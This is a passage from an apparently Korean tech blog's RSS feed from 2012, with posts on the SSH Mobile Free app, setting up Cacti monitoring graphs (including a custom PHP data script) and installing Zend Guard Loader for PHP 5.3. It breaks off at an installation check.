&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>CentOS</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1631</guid>
			<comments>http://www.oops4u.com/1631#entry1631comment</comments>
			<pubDate>Fri, 20 Apr 2012 23:30:00 +0900</pubDate>
		</item>
		<item>
			<title>SSH Mobile Free</title>
			<link>http://www.oops4u.com/1630</link>
			<description>&lt;P&gt;ssh 관련 문서 검색 중 모바일 터미널의 존재를&amp;nbsp;발견.&lt;/P&gt;
&lt;P&gt;앱스토어에서 쓸만한 걸 찾아보다가 (쓸만한거 -&amp;gt; 무료) SSH Mobile Free 란 프로그램을 발견&lt;/P&gt;
&lt;P&gt;[Site List] - [Add] - 서버정보입력 - [save]&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center&quot;&gt;
&lt;TABLE border=0 cellSpacing=5 cellPadding=0 align=center&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:331px;&quot;&gt;&lt;a href=&quot;http://cfile1.uf.tistory.com/original/17423D454F8E5FEC0BFAE6&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile1.uf.tistory.com/image/17423D454F8E5FEC0BFAE6&quot; filemime=&quot;image/jpeg&quot; filename=&quot;ssh_mobile_free_01.jpg&quot; height=&quot;496&quot; width=&quot;331&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:331px;&quot;&gt;&lt;a href=&quot;http://cfile29.uf.tistory.com/original/124226454F8E5FEC0B9A8B&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile29.uf.tistory.com/image/124226454F8E5FEC0B9A8B&quot; filemime=&quot;image/jpeg&quot; filename=&quot;ssh_mobile_free_02.jpg&quot; height=&quot;496&quot; width=&quot;331&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center&quot;&gt;
&lt;TABLE border=0 cellSpacing=5 cellPadding=0 align=center&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:331px;&quot;&gt;&lt;a href=&quot;http://cfile29.uf.tistory.com/original/1830A0454F8E5FEC26A079&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile29.uf.tistory.com/image/1830A0454F8E5FEC26A079&quot; filemime=&quot;image/jpeg&quot; filename=&quot;ssh_mobile_free_03.jpg&quot; height=&quot;496&quot; width=&quot;331&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:331px;&quot;&gt;&lt;a href=&quot;http://cfile29.uf.tistory.com/original/172802454F8E5FED31380F&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile29.uf.tistory.com/image/172802454F8E5FED31380F&quot; filemime=&quot;image/jpeg&quot; filename=&quot;ssh_mobile_free_04.jpg&quot; height=&quot;496&quot; width=&quot;331&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/P&gt;
&lt;P&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;오오 접속잘되고 오오...&lt;/P&gt;
&lt;P&gt;그나저나 해킹당할 염려는 없으려나, 두..두려움...;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;[Screen], [Misc] 등에서 터미널 관련 설정 및 배경색, 폰트 크기등을 정할 수 있음.&lt;/P&gt;
&lt;P&gt;단순단말기를 뜻하는 dumb -&amp;gt; 가장 깔끔하게 나옴.&lt;/P&gt;
&lt;P&gt;비상시를 대비하야 깔기는 했소만, 이걸 사용할 일이 벌어지지 않기를...&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>Prog</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1630</guid>
			<comments>http://www.oops4u.com/1630#entry1630comment</comments>
			<pubDate>Wed, 18 Apr 2012 07:30:00 +0900</pubDate>
		</item>
		<item>
			<title>Cacti 그래프</title>
			<link>http://www.oops4u.com/1629</link>
			<description>cacti 설치 후 처음 로그인을 하게 되면, 기본 세팅[Settings]에 이상이 없는지 확인해야 합니다.&lt;br /&gt;Paths 에 [fail] 된 항목은 없는지, 디렉토리에 쓰기 권한 설정이 잘 되었는지.
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #4174d9; FONT-SIZE: 12pt&quot;&gt;1. 모니터링 할 장비 설정&lt;/SPAN&gt;&lt;/STRONG&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;[Management] - [Device] - [Add]&lt;br /&gt;hostname 에 장비의 IP나 hostname 을 입력합니다.&lt;br /&gt;Host Template 에 추가할 장비의 template 가 있다면 선택합니다. (자동으로 필요한 그래프를 생성합니다.)&lt;br /&gt;SNMP Option 에서 Version1 을 선택하고 161 포트에 대해 방화벽을 개방합니다.&lt;br /&gt;[Save] 버튼을 눌러 저장하고 상단의 [graphs] 버튼을 누르면 약 5분~10분 뒤 그래프를 확인할 수 있습니다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:620px;&quot;&gt;&lt;a href=&quot;http://cfile29.uf.tistory.com/original/20477C4E4F87E5E82122D5&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile29.uf.tistory.com/image/20477C4E4F87E5E82122D5&quot; filemime=&quot;image/gif&quot; filename=&quot;cacti_1.gif&quot; height=&quot;905&quot; width=&quot;620&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&lt;SPAN style=&quot;COLOR: #4174d9&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 12pt&quot;&gt;2. 그래프 추가&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;[Management] - [Device] 에서 그래프를 추가하기 원하는 장비를 선택합니다.&lt;br /&gt;[Add Graph Template] 에서 추가하고 싶은 그래프를 선택하고 [Add] 한 후 [Save] 저장합니다.&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&lt;br /&gt;트래픽 그래프는 [Add Data Query] - [SNMP - Interface Statistics] 를 추가해야 하며, &lt;br /&gt;장비에 snmpd 데몬이 활성화 되어 있어야 합니다.&lt;br /&gt;상단에 [Create Graphs for this Host] 클릭 후, &lt;br /&gt;트래픽을 확인할 interface와 graph type (In/Out Bytes with Total Bandwidth)등을 선택하고 [create]&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:611px;&quot;&gt;&lt;a href=&quot;http://cfile3.uf.tistory.com/original/1351304E4F87E5E8139B33&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile3.uf.tistory.com/image/1351304E4F87E5E8139B33&quot; filemime=&quot;image/gif&quot; filename=&quot;cacti_2.gif&quot; height=&quot;221&quot; width=&quot;611&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #4174d9; FONT-SIZE: 12pt&quot;&gt;3. 사용자 그래프 추가&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: left; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;[Data Input Methods] 에 이미 만들어진 데이터들은 perl 로 만들어져 있지만, php 로도 작성할 수 있습니다.&lt;br /&gt;예로 당일 가입자를 구하는 쿼리를 만든다면 다음과 같이 출력하도록 만들어야 합니다.&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# vi &amp;lt;path_cacti&amp;gt;/scripts/web_total_user.php&lt;br /&gt;// 쿼리 생략&lt;br /&gt;// &lt;br /&gt;// &lt;STRONG&gt;&lt;SPAN style=&quot;COLOR: #ff0000&quot;&gt;구분1:값1 구분2:값2 구분3:값3 ...&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;br /&gt;printf( &quot;Total:%d Today:%d&quot;, $row['total'], $row['today'] );&lt;/P&gt;&lt;/DIV&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;파일 작성을 마쳤으면 데이터 입력 메소드를 추가합니다.&lt;br /&gt;[Data Input Methods] - [Add]&lt;br /&gt;[Name] - Web Join&lt;br /&gt;[Input type] - Script/Command&lt;br /&gt;[Input String] - php &amp;lt;path_cacti&amp;gt;/scripts/web_total_user.php&lt;br /&gt;[Output Fields] : 여기에 소스 파일의 구분 값을 생성합니다. [Add] - Total / Today - [Save]&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:580px;&quot;&gt;&lt;a href=&quot;http://cfile7.uf.tistory.com/original/205DEF4E4F87E5E901AD85&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile7.uf.tistory.com/image/205DEF4E4F87E5E901AD85&quot; filemime=&quot;image/gif&quot; filename=&quot;cacti_3.gif&quot; height=&quot;390&quot; width=&quot;580&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;데이터 입력 메소드를 생성한 후에 데이터 템플릿을 추가합니다.&lt;br /&gt;[Data Templates] - [Add]&lt;br /&gt;[Data Input Method] - Web Join&lt;br /&gt;[Data Source Item] : 여기도 소스 파일의 구분 값만큼 아이템을 생성합니다. [New] - Total / Today 각각 추가 - [Output Field] 각각 지정 - [Save]&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:619px;&quot;&gt;&lt;a href=&quot;http://cfile6.uf.tistory.com/original/204DF54E4F87E5E917C272&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile6.uf.tistory.com/image/204DF54E4F87E5E917C272&quot; filemime=&quot;image/gif&quot; filename=&quot;cacti_4.gif&quot; height=&quot;684&quot; width=&quot;619&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;그래프 템플릿을 추가합니다.&lt;br /&gt;[Graph Templates] - [Add]&lt;br /&gt;[Graph Template Items] - [Add]&lt;br /&gt;[Data Source] - Web Join (Total)&lt;br /&gt;[Graph Item Type] - 그래프 타입은 AREA / LINE 을 주로 사용, GPRINT 는 그래프 아래에 숫자 표기에 사용&lt;br /&gt;[Consolidation Function] - 값의 평균(AVERAGE)/최대(MAX)/현재(LAST) 등을 선택할 수 있음&lt;br /&gt;이렇게 [Data Source]를 Total 과 Today 각각 생성하고 [Save]&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;TEXT-ALIGN: center; FLOAT: none; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display:inline-block;width:618px;&quot;&gt;&lt;a href=&quot;http://cfile4.uf.tistory.com/original/125BD34E4F87E5E905714B&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile4.uf.tistory.com/image/125BD34E4F87E5E905714B&quot; filemime=&quot;image/gif&quot; filename=&quot;cacti_5.gif&quot; height=&quot;521&quot; width=&quot;618&quot;/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;그래프 적용할 장비 선택 후 그래프 생성.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;[Graph Trees] 에서는 그래프의 분류를 생성할 수 있고, &lt;br /&gt;[Graph Management] 에서는 그래프를 분류에 할당할 수 있습니다.&lt;/P&gt;&lt;div class=&quot;tt-plugin tt-share-entry-with-sns tt-sns-icon-alignment-right tt-sns-icon-size-small&quot;&gt;
	&lt;div class=&quot;tt-sns-wrap&quot; id=&quot;ttSnsWrap-&quot;&gt;
		&lt;ul class=&quot;tt-sns-service-default&quot;&gt;
			&lt;li class=&quot;tt-sns-service-mypeople&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('mypeople', '', '');&quot;&gt;마이피플&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-twitter&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('twitter', '', '');&quot;&gt;트위터&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-facebook&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('facebook', '', '');&quot;&gt;페이스북&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-other&quot;&gt;&lt;a href=&quot;javascript:;&quot; onmouseover=&quot;ShareEntryWithSNS.showLayer(event, '');&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;더보기&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
		&lt;ul class=&quot;tt-sns-service-more&quot; id=&quot;ttSnsServiceMore-&quot; onmouseout=&quot;ShareEntryWithSNS.hideLayer(event, '');&quot;&gt;
			&lt;li class=&quot;tt-sns-service-me2day&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('me2day', '', '');&quot;&gt;미투데이&lt;/a&gt;&lt;/li&gt;
			&lt;li class=&quot;tt-sns-service-yozm&quot;&gt;&lt;a href=&quot;javascript:;&quot; onclick=&quot;ShareEntryWithSNS.share('yozm', '', '');&quot;&gt;요즘&lt;/a&gt;&lt;/li&gt;
		&lt;/ul&gt;
	&lt;/div&gt;
	&lt;div class=&quot;tt-sns-clear&quot;&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;fieldset style=&quot;margin:20px 0px 20px 0px;padding:5px;&quot;&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이선스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style=&quot;float: left; width: 88px; margin-top: 3px;&quot;&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; style=&quot;border-width: 0&quot; src=&quot;http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 92px; margin-top: 3px; text-align: justify;&quot;&gt;이 저작물은 &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; target=&quot;_blank&quot;&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이선스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
			&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-sa/2.0/kr/&quot; /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-sa/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/DerivativeWorks&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/ShareAlike&quot;/&gt;&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;</description>
			<category>CentOS</category>
			<category>cacti</category>
			<author>와닥</author>
			<guid>http://www.oops4u.com/1629</guid>
			<comments>http://www.oops4u.com/1629#entry1629comment</comments>
			<pubDate>Fri, 13 Apr 2012 19:00:00 +0900</pubDate>
		</item>
		<item>
			<title>Zend Guard</title>
			<link>http://www.oops4u.com/1628</link>
			<description>&lt;P&gt;Zend Optimizer 는 PHP 5.2 버전까지만 지원을 하므로 PHP 5.3 버전 부터는 Zend Guard 를 이용해야 합니다.&lt;br /&gt;홈페이지에서 다운받아 서버에 올리고 설치 하도록 합니다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Download : &lt;A class=tx-link href=&quot;http://www.zend.com/en/products/guard/downloads&quot; target=_blank&gt;http://www.zend.com/en/products/guard/downloads&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #cbcbcb 1px dashed; BORDER-LEFT: #cbcbcb 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #ffffff; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #cbcbcb 1px dashed; BORDER-RIGHT: #cbcbcb 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
&lt;P&gt;# tar zxvf ZendGuardLoader-php-5.3-linux-glibc23-x86_64.tar.gz&lt;br /&gt;# cp ZendGuardLoader-php-5.3-linux-glibc23-x86_64/php-5.3.x/ZendGuardLoader.so /usr/local/php/modules/&lt;br /&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;# vi /etc/php.ini&lt;br /&gt;[zend]&lt;br /&gt;zend_extension=/usr/local/php/modules/ZendGuardLoader.so&lt;/P&gt;&lt;/DIV&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style=&quot;BACKGROUND-COLOR: #4673ff; COLOR: #ffffff&quot;&gt;&lt;STRONG&gt;&lt;SPAN style=&quot;FONT-SIZE: 10pt&quot;&gt;설치 확인&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;DIV style=&quot;BORDER-BOTTOM: #79a5e4 1px dashed; BORDER-LEFT: #79a5e4 1px dashed; PADDING-BOTTOM: 10px; BACKGROUND-COLOR: #dbe8fb; PADDING-LEFT: 10px; PADDING-RIGHT: 10px; BORDER-TOP: #79a5e4 1px dashed; BORDER-RIGHT: #79a5e4 1px dashed; PADDING-TOP: 10px&quot; class=txc-textbox&gt;
